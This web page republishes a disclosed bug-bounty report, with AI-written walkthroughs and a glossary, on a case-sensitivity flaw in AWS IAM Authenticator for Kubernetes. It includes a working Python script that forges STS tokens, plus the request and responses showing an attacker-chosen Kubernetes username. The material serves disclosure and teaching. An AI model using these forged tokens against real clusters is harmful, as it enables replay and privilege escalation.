Skip to content
Access control Disclosed report Advanced

Bypass validation parts in AWS IAM Authenticator for Kubernetes

The AWS IAM Authenticator for Kubernetes failed to properly validate the signed token's query parameters, allowing an attacker to craft tokens with duplicate parameters that bypass cluster ID signing, manipulate the AccessKeyID, or change the STS action. This could let an attacker replay tokens across clusters or gain higher permissions in the Kubernetes cluster by controlling the mapped username.

0ria Follow

Originally disclosed on HackerOne

Bounty$2,500 High 8.1 View original
  • Fixed in 11 months
  • Paid in 6 months
  • Disclosed after 12 months

Summary:

Whenever the aws-iam-authenticator server gets a POST request to /authenticate it extracts the token and validates it. The token's content is a signed AWS STS request to the GetCallerIdentity endpoint, where the response content is used to map to matching K8s identity (username, groups).

I found several bypasses to validation parts in AWS IAM Authenticator:

  1. It is possible to craft a token without signed cluster ID header and use it for replay attacks.
  2. It is possible to manipulate the extracted AccessKeyID. Since the AccessKeyID value can be used as part of the identity, it allows an attacker to gain hight permissions in the cluster.
  3. It is possible to send a request to other action values (not only GetCallerIdentity). Since I couldn't find a way to control the host or add other parameters to the request, the impact of changing the action is low.

Kubernetes Version:

all versions

Component Version:

all versions. the issue seems to be there from first commit.

Steps To Reproduce:

  1. Create a K8s cluster with AWS IAM Authenticator as auth webhook.

(I run the aws-iam-authenticator server locally on my machine using the command aws-iam-authenticator server -c config.yaml) 2. You can use the python script below to generate all types of malicious tokens. change the CLUSTER_ID value before running.

Python
import base64
import boto3
import re
from botocore.signers import RequestSigner

REGION = 'us-east-1'
CLUSTER_ID = 'gaf-cluster'


def get_bearer_token(url, headers):
    STS_TOKEN_EXPIRES_IN = 60
    session = boto3.session.Session()

    client = session.client('sts', region_name=REGION)
    service_id = client.meta.service_model.service_id

    signer = RequestSigner(
        service_id,
        REGION,
        'sts',
        'v4',
        session.get_credentials(),
        session.events
    )

    params = {
        'method': 'GET',
        'url': url,
        'body': {},
        'headers': headers,
        'context': {}
    }

    signed_url = signer.generate_presigned_url(
        params,
        region_name=REGION,
        expires_in=STS_TOKEN_EXPIRES_IN,
        operation_name=''
    )

    return signed_url


def base64_encode_no_padding(signed_url):
    base64_url = base64.urlsafe_b64encode(signed_url.encode('utf-8')).decode('utf-8')

    # remove any base64 encoding padding:
    return 'k8s-aws-v1.' + re.sub(r'=*', '', base64_url)


def create_mal_token_with_other_action(action_name):
    url = f'https://sts.{REGION}.amazonaws.com/?Action={action_name}&Version=2011-06-15&action=GetCallerIdentity'
    headers = {'x-k8s-aws-id': CLUSTER_ID}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace(f'&action=GetCallerIdentity', '')
    signed_url += f'&action=GetCallerIdentity'

    return base64_encode_no_padding(signed_url)


def create_mal_token_without_cluster_id_header_signed():
    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id'
    headers = {}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace('&x-amz-signedheaders=x-k8s-aws-id', '')
    signed_url += '&x-amz-signedheaders=x-k8s-aws-id'

    return base64_encode_no_padding(signed_url)


def create_mal_token_with_other_access_key(value):
    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-credential={value}'
    headers = {'x-k8s-aws-id': CLUSTER_ID}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace(f'&x-amz-credential={value}', '')
    signed_url += f'&x-amz-credential={value}'

    return base64_encode_no_padding(signed_url)


print("Token with other action:")
print(create_mal_token_with_other_action('GetSessionToken'))

print("Token without cluster id header signed:")
print(create_mal_token_without_cluster_id_header_signed())

print("Token with other value as access key:")
print(create_mal_token_with_other_access_key('some-other-value'))
  1. Choose a token and send the HTTP request below to the aws-iam-authenticator server:
POST /authenticate HTTP/1.1
Host: 127.0.0.1:21362
Content-Length: 563

{"Spec":{"Token":"<token-value>"}}

Note: You might need to sent the request with the malicious token to the aws-iam-authenticator server multiple times. the reason is explained in the root cause section.

  1. View the output of the server and the request:
  • If you chose the "other action" token, if the action is valid STS action (such as GetSessionToken) the server will log the following error message:

"sts getCallerIdentity failed: arn '' is invalid: 'arn: invalid prefix'". If the action is invalid STS action (such as CreateUser) the server will log the following error message: "sts getCallerIdentity failed: error from AWS (expected 200, got 400). Body: {"Error":{"Code":"InvalidAction","Message":"Could not find operation CreateUser for version 2011-06-15","Type":"Sender"},"RequestId":"0037e282-007f-453c-0017-a0acde0b9b00"}"

  • If you chose the "no signed cluster id header" token, the server will act regularly and will map the arn from the STS response. Note that if requests are being passed through burp, you can send the STS request that was sent by the server to the repeater and delete the "X-K8s-Aws-Id" header and its value.

  • If you chose the "other value as access key", the server will log the injected value as the access key "accesskeyid=some-other-value"

In this case, it is possible to trick the mapping. Create the following mapping in the aws-iam-authenticator server config:

YAML
  mapUsers:
  - userARN: arn:aws:iam::000000000000:user/Alice
    username: user:{{AccessKeyID}}
    groups:
    - test

Resent the request with the token and the server will respond with:

JSON
{"metadata":{"creationTimestamp":null},"spec":{},"status":{"authenticated":true,"user":{"username":"user:some-other-value","uid":"aws-iam-authenticator:<aws-account-id>:<aws-user-id>","groups":["test"],"extra":{"accessKeyId":["some-other-value"],"arn":["arn:aws:iam::<aws-account-id>:user/<aws-username>"],"canonicalArn":["arn:aws:iam::<aws-account-id>:user/<aws-user-name>"],"sessionName":[""]}}}}

The final K8s username was controlled by the attacker.

Root Cause:

All the specified issues happens because of this code line

Go
	for key, values := range queryParams {
		if !parameterWhitelist[strings.ToLower(key)] {
			return nil, FormatError{fmt.Sprintf("non-whitelisted query parameter %q", key)}
		}
		if len(values) != 1 {
			return nil, FormatError{"query parameter with multiple values not supported"}
		}
		queryParamsLower.Set(strings.ToLower(key), values[0])
	}

It allows an attacker to send two variables with the same name (but with different uppercase, lowercase characters). For example "Action" and "action". Since both are being "ToLower", the value in the queryParamsLower dictionary will be overriden while the request to AWS will be sent with both values (sts.amazonaws.com will ignore the other parameter).

Because the for loop is not ordered, the parameters are not always overriden in the order we want, therefore we might need to sent the request with the malicious token to the aws-iam-authenticator server multiple times.

Impact

An attacker can bypass parts in the authentication and authorization checks that might control the values of the K8s username and groups during the mapping. This can help an attacker to gain higher permissions in the K8s cluster.

The original report as published on HackerOne, by 0ria. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

AWS IAM Authenticator for Kubernetes is a webhook that lets a Kubernetes cluster map AWS IAM identities to Kubernetes users and groups. The server exposes an /authenticate endpoint. When it receives a POST request there, it extracts the bearer token from the request body and validates it. The token itself is a base64url-encoded, signed AWS STS request to the GetCallerIdentity endpoint. The server forwards that signed request to AWS, takes the ARN from the STS response, and uses it to map to a matching Kubernetes identity (username and groups).

The researcher found several ways to bypass parts of that validation. The report lists three:

  1. It is possible to craft a token without a signed cluster ID header and use it for replay attacks.
  2. It is possible to manipulate the extracted AccessKeyID. Since the AccessKeyID value can be used as part of the identity, this allows an attacker to gain higher permissions in the cluster.
  3. It is possible to send a request to other action values, not only GetCallerIdentity. The researcher could not find a way to control the host or add other parameters to the request, so the impact of changing the action is low.

The affected Kubernetes and component versions are stated as all versions. The issue appears to be present from the first commit of the project.

Setup

The researcher ran the aws-iam-authenticator server locally on their own machine, using the command:

Bash
aws-iam-authenticator server -c config.yaml

The precondition is a Kubernetes cluster with AWS IAM Authenticator configured as the auth webhook. The token generation script uses boto3 and botocore.signers.RequestSigner to produce presigned STS URLs, then base64url-encodes them without padding and prefixes them with k8s-aws-v1.. The CLUSTER_ID value in the script must be changed before running it.

Finding it

The root cause is that the server's token parsing does not reject query parameters that differ only in case. The validation loop lowercases each parameter name before checking it against a whitelist and before storing it in a lowercased dictionary. That means a token can carry two parameters with the same name in different cases, for example Action and action. Both pass the whitelist check, but the second one overwrites the first in the dictionary the server uses, while the request sent to AWS still contains both values. AWS STS ignores the duplicate it does not use, so the server and AWS can end up looking at different values.

Because the loop over the query parameters is not ordered, the overwrite does not always happen in the order the attacker wants. That is why the report notes the malicious request may need to be sent to the server multiple times.

Exploitation

Step 1: Generate the malicious tokens

The script below generates all three types of malicious token. Change the CLUSTER_ID value before running it.

Python
import base64
import boto3
import re
from botocore.signers import RequestSigner

REGION = 'us-east-1'
CLUSTER_ID = 'gaf-cluster'

def get_bearer_token(url, headers):
    STS_TOKEN_EXPIRES_IN = 60
    session = boto3.session.Session()

    client = session.client('sts', region_name=REGION)
    service_id = client.meta.service_model.service_id

    signer = RequestSigner(
        service_id,
        REGION,
        'sts',
        'v4',
        session.get_credentials(),
        session.events
    )

    params = {
        'method': 'GET',
        'url': url,
        'body': {},
        'headers': headers,
        'context': {}
    }

    signed_url = signer.generate_presigned_url(
        params,
        region_name=REGION,
        expires_in=STS_TOKEN_EXPIRES_IN,
        operation_name=''
    )

    return signed_url

def base64_encode_no_padding(signed_url):
    base64_url = base64.urlsafe_b64encode(signed_url.encode('utf-8')).decode('utf-8')

    # remove any base64 encoding padding:
    return 'k8s-aws-v1.' + re.sub(r'=*', '', base64_url)

def create_mal_token_with_other_action(action_name):
    url = f'https://sts.{REGION}.amazonaws.com/?Action={action_name}&Version=2011-06-15&action=GetCallerIdentity'
    headers = {'x-k8s-aws-id': CLUSTER_ID}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace(f'&action=GetCallerIdentity', '')
    signed_url += f'&action=GetCallerIdentity'

    return base64_encode_no_padding(signed_url)

def create_mal_token_without_cluster_id_header_signed():
    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id'
    headers = {}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace('&x-amz-signedheaders=x-k8s-aws-id', '')
    signed_url += '&x-amz-signedheaders=x-k8s-aws-id'

    return base64_encode_no_padding(signed_url)

def create_mal_token_with_other_access_key(value):
    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-credential={value}'
    headers = {'x-k8s-aws-id': CLUSTER_ID}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace(f'&x-amz-credential={value}', '')
    signed_url += f'&x-amz-credential={value}'

    return base64_encode_no_padding(signed_url)

print("Token with other action:")
print(create_mal_token_with_other_action('GetSessionToken'))

print("Token without cluster id header signed:")
print(create_mal_token_without_cluster_id_header_signed())

print("Token with other value as access key:")
print(create_mal_token_with_other_access_key('some-other-value'))

Step 2: Send the token to the authenticator

Choose a token and send the following HTTP request to the aws-iam-authenticator server:

HTTP
POST /authenticate HTTP/1.1
Host: [redacted]:21362
Content-Length: 563

{"Spec":{"Token":"<token-value>"}}

The request may need to be sent multiple times because the loop over the query parameters is not ordered.

Step 3: Observe the results

Other action token. If the chosen action is a valid STS action such as GetSessionToken, the server logs:

Text
sts getCallerIdentity failed: arn '' is invalid: 'arn: invalid prefix'

If the chosen action is an invalid STS action such as CreateUser, the server logs:

Text
sts getCallerIdentity failed: error from AWS (expected 200, got 400). Body: {"Error":{"Code":"InvalidAction","Message":"Could not find operation CreateUser for version 2011-06-15","Type":"Sender"},"RequestId":"0037e282-007f-453c-0017-a0acde0b9b00"}

No signed cluster ID header token. The server acts regularly and maps the ARN from the STS response. If requests are being passed through Burp, you can send the STS request that was sent by the server to the repeater and delete the X-K8s-Aws-Id header and its value.

Other access key token. The server logs the injected value as the access key:

Text
accesskeyid=some-other-value

In this case it is possible to trick the mapping. Create the following mapping in the aws-iam-authenticator server config:

YAML
  mapUsers:
  - userARN: arn:aws:iam::000000000000:user/Alice
    username: user:{{AccessKeyID}}
    groups:
    - test

Resend the request with the token and the server responds with:

JSON
{"metadata":{"creationTimestamp":null},"spec":{},"status":{"authenticated":true,"user":{"username":"user:some-other-value","uid":"aws-iam-authenticator:<aws-account-id>:<aws-user-id>","groups":["test"],"extra":{"accessKeyId":["some-other-value"],"arn":["arn:aws:iam::<aws-account-id>:user/<aws-username>"],"canonicalArn":["arn:aws:iam::<aws-account-id>:user/<aws-user-name>"],"sessionName":[""]}}}}

The final Kubernetes username was controlled by the attacker.

Root cause

All three issues come from this code line in pkg/token/token.go:

Go
	for key, values := range queryParams {
		if !parameterWhitelist[strings.ToLower(key)] {
			return nil, FormatError{fmt.Sprintf("non-whitelisted query parameter %q", key)}
		}
		if len(values) != 1 {
			return nil, FormatError{"query parameter with multiple values not supported"}
		}
		queryParamsLower.Set(strings.ToLower(key), values[0])
	}

It allows an attacker to send two variables with the same name but different case, for example Action and action. Both are lowercased, so the value in the queryParamsLower dictionary is overridden, while the request to AWS is sent with both values. sts.amazonaws.com ignores the other parameter. Because the for loop is not ordered, the parameters are not always overridden in the order the attacker wants, which is why the malicious request may need to be sent multiple times.

Impact

An attacker can bypass parts of the authentication and authorisation checks that might control the values of the Kubernetes username and groups during the mapping. This can help an attacker gain higher permissions in the Kubernetes cluster. The impact of changing the action is low because the researcher could not find a way to control the host or add other parameters to the request.

Fix

The report does not describe a fix or a change made in response.

  • Duplicate query parameters that differ only in case (Action/action, x-amz-credential/X-Amz-Credential, x-amz-signedheaders/X-Amz-SignedHeaders). A positive result is a server log or response that reflects the attacker-chosen value while AWS still accepts the signed request.
  • Tokens that omit a header from the signed set, such as x-amz-signedheaders=x-k8s-aws-id without the corresponding header. A positive result is the server accepting the token and mapping the ARN as normal.
  • Identity mappings that interpolate {{AccessKeyID}} into the username. A positive result is a response whose username contains the injected value.
  • Any other service that lowercases parameter names before whitelisting but forwards the original query string upstream. A positive result is a mismatch between the value the service validates and the value the upstream service acts on.

This kind of bug tends to hide in token parsers and signature validators that normalise parameter names (lowercasing, trimming, decoding) before checking them, but then forward the original request. During recon, look for webhooks and authenticators that accept signed upstream requests, and for configuration options that interpolate request fields into identities. The researcher showed impact by demonstrating that the final Kubernetes username was controlled by the attacker through a mapUsers entry using {{AccessKeyID}}, which is what turns a parsing quirk into a privilege escalation in the cluster.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A security researcher found several ways to bypass parts of the validation in AWS IAM Authenticator for Kubernetes. That software is the doorman for a Kubernetes cluster: it decides who gets in and what they are allowed to do. By crafting a special login token, an attacker could control the Kubernetes username during mapping, which can help gain higher permissions inside the cluster.

To follow the story you only need a few ideas:

  • Kubernetes is a system for running and managing lots of small programs (called containers) across many computers. It is very common in companies.
  • AWS (Amazon Web Services) is Amazon's cloud platform. IAM is the part of AWS that manages users and their permissions.
  • A cluster is one Kubernetes installation: a group of machines working together.
  • A webhook is a way for one program to ask another program a question over the network. Here, Kubernetes asks the authenticator: "this person sent a token, are they allowed in, and who are they?"
  • A token is a small piece of text that acts like a temporary pass. You show it, and the system checks whether it is genuine.
  • Authentication means proving who you are. Authorisation means deciding what you are allowed to do once you are known.

Context

AWS IAM Authenticator for Kubernetes is a webhook that lets a Kubernetes cluster map AWS IAM identities to Kubernetes users and groups. In everyday terms: a company's staff already have AWS accounts, and this tool lets those same accounts log in to the Kubernetes cluster without creating a second set of accounts. It translates "this is AWS user Alice" into "this is Kubernetes user Alice, in these groups".

The server exposes an /authenticate endpoint. An endpoint is a specific address on a server, like a particular counter in a large building: you go to that counter to ask for that one service. When the server receives a POST request there, it extracts the bearer token from the request body and validates it. A POST request is simply one type of message a browser or program sends to a server, usually carrying some data. A bearer token is a pass you "bear" (carry) with you: whoever holds it is treated as its owner, like a paper ticket at a concert.

The token itself is a base64url-encoded, signed AWS STS request to the GetCallerIdentity endpoint. Let us unpack that:

  • AWS STS (Security Token Service) is an AWS service that answers questions about who a caller is.
  • GetCallerIdentity is one specific question you can ask STS: "who am I?" It replies with details about the caller, including an ARN.
  • An ARN (Amazon Resource Name) is AWS's naming format for a resource, for example a particular user. It looks like a long structured string starting with arn:.
  • Signed means the request carries a cryptographic stamp proving it was made by someone holding the right secret key. Like a wax seal on a letter: anyone can read the letter, but only the key holder can produce the seal.
  • base64url-encoded means the text has been converted into a safe alphabet of letters, digits and a couple of symbols so it can travel inside a web request without breaking. It is not encryption; anyone can decode it.

The server forwards that signed request to AWS, takes the ARN from the STS response, and uses it to map to a matching Kubernetes identity (username and groups). So the flow is: user shows a token, the authenticator asks AWS "who is this really?", AWS answers with an ARN, and the authenticator looks up which Kubernetes user and groups that ARN corresponds to.

The researcher found several ways to bypass parts of that validation. The report lists three:

  1. It is possible to craft a token without a signed cluster ID header and use it for replay attacks. A replay attack means capturing a valid message and sending it again later, like photocopying someone's ticket and using the copy.
  2. It is possible to manipulate the extracted AccessKeyID. An AccessKeyID is the public identifier part of an AWS credential, a bit like a username for a key pair. Since the AccessKeyID value can be used as part of the identity, this allows an attacker to gain higher permissions in the cluster.
  3. It is possible to send a request to other action values, not only GetCallerIdentity. An action is the name of the operation you are asking AWS to perform. The researcher could not find a way to control the host or add other parameters to the request, so the impact of changing the action is low.

The affected Kubernetes and component versions are stated as all versions. The issue appears to be present from the first commit of the project. A commit is a saved change in a software project's history; the first commit is the very first version ever saved.

Setup

The researcher ran the aws-iam-authenticator server locally on their own machine, using the command:

Bash
aws-iam-authenticator server -c config.yaml

This starts the authenticator program on the researcher's own computer, telling it to read its settings from a file called config.yaml.

The precondition is a Kubernetes cluster with AWS IAM Authenticator configured as the auth webhook. The token generation script uses boto3 and botocore.signers.RequestSigner to produce presigned STS URLs, then base64url-encodes them without padding and prefixes them with k8s-aws-v1.. In plain words: boto3 is the official Python library for talking to AWS, and RequestSigner is the part of it that applies the wax seal. A presigned URL is a web address that already contains the seal, so whoever holds the address can use it until it expires. Padding is filler characters added to the end of encoded text; removing it makes the string shorter but still decodable. The k8s-aws-v1. prefix is a label at the start that tells the authenticator which token format to expect, like the country code at the start of a phone number. The CLUSTER_ID value in the script must be changed before running it.

Finding it

The researcher noticed that the server's token parsing does not reject query parameters that differ only in case. A query parameter is a name and value pair stuck on the end of a web address after a question mark, for example ?Action=GetCallerIdentity. They are how you pass small pieces of information in a URL. The server lowercases parameter names, so Action and action end up looking the same to it.

The validation loop lowercases each parameter name before checking it against a whitelist and before storing it in a lowercased dictionary. A whitelist is a list of names that are allowed; anything not on the list is rejected. A dictionary here means a lookup table in the program that stores one value per name. Lowercasing means turning every capital letter into a small one, so Action becomes action.

That means a token can carry two parameters with the same name in different cases, for example Action and action. Both pass the whitelist check, because after lowercasing they both look like action, which is allowed. But the second one overwrites the first in the dictionary the server uses, while the request sent to AWS still contains both values. AWS STS ignores the duplicate it does not use, so the server and AWS can end up looking at different values. Picture two forms with the same label submitted to one clerk: the clerk files only the last one, but the forms are posted onward to a second office that reads the first one.

Because the loop over the query parameters is not ordered, the overwrite does not always happen in the order the attacker wants. Program loops that walk over an unordered collection can visit items in any order, like drawing names from a hat. That is why the report notes the malicious request may need to be sent to the server multiple times: you keep trying until the draw comes out in your favour.

Exploitation

Step 1: Generate the malicious tokens

The script below generates all three types of malicious token. Change the CLUSTER_ID value before running it.

Python
import base64
import boto3
import re
from botocore.signers import RequestSigner

REGION = 'us-east-1'
CLUSTER_ID = 'gaf-cluster'

def get_bearer_token(url, headers):
    STS_TOKEN_EXPIRES_IN = 60
    session = boto3.session.Session()

    client = session.client('sts', region_name=REGION)
    service_id = client.meta.service_model.service_id

    signer = RequestSigner(
        service_id,
        REGION,
        'sts',
        'v4',
        session.get_credentials(),
        session.events
    )

    params = {
        'method': 'GET',
        'url': url,
        'body': {},
        'headers': headers,
        'context': {}
    }

    signed_url = signer.generate_presigned_url(
        params,
        region_name=REGION,
        expires_in=STS_TOKEN_EXPIRES_IN,
        operation_name=''
    )

    return signed_url

def base64_encode_no_padding(signed_url):
    base64_url = base64.urlsafe_b64encode(signed_url.encode('utf-8')).decode('utf-8')

    # remove any base64 encoding padding:
    return 'k8s-aws-v1.' + re.sub(r'=*', '', base64_url)

def create_mal_token_with_other_action(action_name):
    url = f'https://sts.{REGION}.amazonaws.com/?Action={action_name}&Version=2011-06-15&action=GetCallerIdentity'
    headers = {'x-k8s-aws-id': CLUSTER_ID}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace(f'&action=GetCallerIdentity', '')
    signed_url += f'&action=GetCallerIdentity'

    return base64_encode_no_padding(signed_url)

def create_mal_token_without_cluster_id_header_signed():
    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id'
    headers = {}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace('&x-amz-signedheaders=x-k8s-aws-id', '')
    signed_url += '&x-amz-signedheaders=x-k8s-aws-id'

    return base64_encode_no_padding(signed_url)

def create_mal_token_with_other_access_key(value):
    url = f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-credential={value}'
    headers = {'x-k8s-aws-id': CLUSTER_ID}
    signed_url = get_bearer_token(url, headers)

    signed_url = signed_url.replace(f'&x-amz-credential={value}', '')
    signed_url += f'&x-amz-credential={value}'

    return base64_encode_no_padding(signed_url)

print("Token with other action:")
print(create_mal_token_with_other_action('GetSessionToken'))

print("Token without cluster id header signed:")
print(create_mal_token_without_cluster_id_header_signed())

print("Token with other value as access key:")
print(create_mal_token_with_other_access_key('some-other-value'))
  • import base64, import boto3, import re and from botocore.signers import RequestSigner load ready-made toolkits: one for encoding text, one for talking to AWS, one for pattern matching in text, and one for applying the signature.
  • REGION = 'us-east-1' sets which AWS data centre region to use. CLUSTER_ID = 'gaf-cluster' is the label of the cluster the token is aimed at; the report says to change it before running.
  • get_bearer_token(url, headers) is a helper that takes a web address and some headers and returns the same address with a signature attached. A header is an extra labelled line sent alongside a web request, like the information on an envelope. STS_TOKEN_EXPIRES_IN = 60 makes the pass valid for 60 seconds, keeping the window short.
  • Inside it, boto3.session.Session() starts a session using whatever AWS credentials are configured on the machine. session.client('sts', ...) creates a connection to the STS service, and service_id fetches the internal name of that service, which the signer needs.
  • RequestSigner(...) builds the signing tool with the region, the service name 'sts', the signing version 'v4', the credentials and the session events.
  • params describes the request to sign: method GET, the given url, an empty body, the given headers and an empty context.
  • signer.generate_presigned_url(...) produces the signed address, valid for 60 seconds, and return signed_url hands it back.
  • base64_encode_no_padding(signed_url) converts the signed address into the safe alphabet with base64.urlsafe_b64encode, then re.sub(r'=*', '', base64_url) strips the trailing = filler characters, and the function returns the string with the k8s-aws-v1. prefix in front.
  • create_mal_token_with_other_action(action_name) builds a URL containing both Action={action_name} (the attacker's choice) and action=GetCallerIdentity (the harmless original). It signs the URL with the cluster ID header, then removes the trailing &action=GetCallerIdentity and appends it again at the very end, so the duplicate sits after the original. Finally it encodes the result.
  • create_mal_token_without_cluster_id_header_signed() builds a URL that claims x-amz-signedheaders=x-k8s-aws-id (meaning "the cluster ID header is part of what was signed") but sends no headers at all. It signs it, then moves that parameter to the end, and encodes it.
  • create_mal_token_with_other_access_key(value) builds a URL whose x-amz-credential is set to an arbitrary value, signs it with the cluster ID header, moves the credential parameter to the end, and encodes it.
  • The three print calls run each generator and display the resulting token. The chosen action is GetSessionToken, and the chosen access key value is some-other-value.

Step 2: Send the token to the authenticator

Choose a token and send the following HTTP request to the aws-iam-authenticator server:

HTTP
POST /authenticate HTTP/1.1
Host: [redacted]:21362
Content-Length: 563

{"Spec":{"Token":"<token-value>"}}
  • POST /authenticate HTTP/1.1 says: send a POST message to the /authenticate endpoint using version 1.1 of the HTTP protocol, the language browsers and servers use to talk.
  • Host: [redacted]:21362 names the destination. [redacted] is the address a computer uses to refer to itself, and 21362 is the port, a numbered door on that machine.
  • Content-Length: 563 tells the server how many bytes of body follow, so it knows when the message ends.
  • The blank line separates the headers from the body.
  • The body is a small JSON document. JSON is a text format for structured data, using curly braces and quoted names. It has a Spec object containing a Token field, and that is where the token goes.

The request may need to be sent multiple times because the loop over the query parameters is not ordered.

Step 3: Observe the results

Other action token. If the chosen action is a valid STS action such as GetSessionToken, the server logs:

Text
sts getCallerIdentity failed: arn '' is invalid: 'arn: invalid prefix'

If the chosen action is an invalid STS action such as CreateUser, the server logs:

Text
sts getCallerIdentity failed: error from AWS (expected 200, got 400). Body: {"Error":{"Code":"InvalidAction","Message":"Could not find operation CreateUser for version 2011-06-15","Type":"Sender"},"RequestId":"0037e282-007f-453c-0017-a0acde0b9b00"}

Here AWS itself rejected the request. expected 200, got 400 refers to HTTP status codes: 200 means success, 400 means the request was malformed or not understood. The body explains that AWS could not find an operation called CreateUser for that API version.

No signed cluster ID header token. The server acts regularly and maps the ARN from the STS response. The report adds that if requests are being passed through Burp, you can send the STS request that was sent by the server to the repeater and delete the X-K8s-Aws-Id header and its value. Burp is a tool that sits between your browser and a server so you can inspect and edit the traffic; its repeater lets you resend a captured request with changes.

Other access key token. The server logs the injected value as the access key:

Text
accesskeyid=some-other-value

In this case it is possible to trick the mapping. Create the following mapping in the aws-iam-authenticator server config:

YAML
  mapUsers:
  - userARN: arn:aws:iam::000000000000:user/Alice
    username: user:{{AccessKeyID}}
    groups:
    - test

YAML is a human-friendly configuration format that uses indentation instead of brackets. This snippet defines a mapUsers entry: when the AWS user with the given ARN logs in, the Kubernetes username should be built from the template user:{{AccessKeyID}}, and the user should be placed in the group test. The double curly braces are a placeholder that gets replaced with the actual access key ID at login time.

Resend the request with the token and the server responds with:

JSON
{"metadata":{"creationTimestamp":null},"spec":{},"status":{"authenticated":true,"user":{"username":"user:some-other-value","uid":"aws-iam-authenticator:<aws-account-id>:<aws-user-id>","groups":["test"],"extra":{"accessKeyId":["some-other-value"],"arn":["arn:aws:iam::<aws-account-id>:user/<aws-username>"],"canonicalArn":["arn:aws:iam::<aws-account-id>:user/<aws-user-name>"],"sessionName":[""]}}}}

The final Kubernetes username was controlled by the attacker.

Root cause

All three issues come from this code line in pkg/token/token.go:

Go
	for key, values := range queryParams {
		if !parameterWhitelist[strings.ToLower(key)] {
			return nil, FormatError{fmt.Sprintf("non-whitelisted query parameter %q", key)}
		}
		if len(values) != 1 {
			return nil, FormatError{"query parameter with multiple values not supported"}
		}
		queryParamsLower.Set(strings.ToLower(key), values[0])
	}

This is Go, a programming language. In plain words, the loop does the following for each parameter name and its list of values:

  1. strings.ToLower(key) turns the name into lowercase, and parameterWhitelist[...] checks whether that lowercase name is on the allowed list. If not, it returns an error saying the parameter is not whitelisted.
  2. len(values) != 1 checks that the parameter appears only once. If it appears more than once, it returns an error saying multiple values are not supported.
  3. queryParamsLower.Set(strings.ToLower(key), values[0]) stores the value in the lowercased dictionary under the lowercased name.

It allows an attacker to send two variables with the same name but different case, for example Action and action. Both are lowercased, so the value in the queryParamsLower dictionary is overridden, while the request to AWS is sent with both values. sts.amazonaws.com ignores the other parameter. Because the for loop is not ordered, the parameters are not always overridden in the order the attacker wants, which is why the malicious request may need to be sent multiple times.

Impact

An attacker can bypass parts of the authentication and authorisation checks that might control the values of the Kubernetes username and groups during the mapping. This can help an attacker gain higher permissions in the Kubernetes cluster. The impact of changing the action is low because the researcher could not find a way to control the host or add other parameters to the request.

Fix

The report does not describe a fix or a change made in response.

  • Duplicate query parameters that differ only in case (Action/action, x-amz-credential/X-Amz-Credential, x-amz-signedheaders/X-Amz-SignedHeaders). A positive result is a server log or response that reflects the attacker-chosen value while AWS still accepts the signed request.
  • Tokens that omit a header from the signed set, such as x-amz-signedheaders=x-k8s-aws-id without the corresponding header. A positive result is the server accepting the token and mapping the ARN as normal.
  • Identity mappings that interpolate {{AccessKeyID}} into the username. A positive result is a response whose username contains the injected value.
  • Any other service that lowercases parameter names before whitelisting but forwards the original query string upstream. A positive result is a mismatch between the value the service validates and the value the upstream service acts on.

This kind of bug tends to hide in token parsers and signature validators that normalise parameter names (lowercasing, trimming, decoding) before checking them, but then forward the original request. Normalising means tidying text into one standard form, like writing every name in a guest list in capitals so duplicates are easy to spot. During recon, look for webhooks and authenticators that accept signed upstream requests, and for configuration options that interpolate request fields into identities. Recon is the early exploration phase where you map out what a system does. The researcher showed impact by demonstrating that the final Kubernetes username was controlled by the attacker through a mapUsers entry using {{AccessKeyID}}, which is what turns a parsing quirk into a privilege escalation in the cluster. Privilege escalation means going from little or no access to more access than you should have.

Glossary

  • AccessKeyID: the public identifier part of an AWS credential, like the username half of a key pair.
  • Action: the name of the operation a request asks AWS to perform, such as GetCallerIdentity.
  • ARN (Amazon Resource Name): AWS's structured naming format for a resource, starting with arn:.
  • Authentication: proving who you are.
  • Authorisation: deciding what a known user is allowed to do.
  • AWS: Amazon Web Services, Amazon's cloud platform.
  • AWS IAM: the part of AWS that manages users and their permissions.
  • AWS IAM Authenticator for Kubernetes: a webhook that maps AWS IAM identities to Kubernetes users and groups.
  • AWS STS: AWS Security Token Service, which answers questions about who a caller is.
  • base64url: an encoding that turns text into a safe alphabet of letters, digits and a couple of symbols so it can travel in web requests; not encryption.
  • bearer token: a pass that whoever holds it is treated as the owner of.
  • boto3: the official Python library for talking to AWS.
  • Burp: a tool that sits between browser and server to inspect and edit traffic; its repeater resends captured requests with changes.
  • cluster: one Kubernetes installation, a group of machines working together.
  • commit: a saved change in a software project's history.
  • dictionary: in programming, a lookup table storing one value per name.
  • endpoint: a specific address on a server offering one service.
  • GetCallerIdentity: the STS operation that answers "who am I?" and returns an ARN.
  • Go: a programming language.
  • header: an extra labelled line sent alongside a web request, like information on an envelope.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • IAM: see AWS IAM.
  • JSON: a text format for structured data using braces and quoted names.
  • Kubernetes: a system for running and managing containers across many machines.
  • normalising: tidying text into one standard form before comparing or storing it.
  • padding: filler characters added to the end of encoded text.
  • POST request: one type of HTTP message, usually carrying data to a server.
  • presigned URL: a web address that already contains a signature, usable until it expires.
  • privilege escalation: gaining more access than you should have.
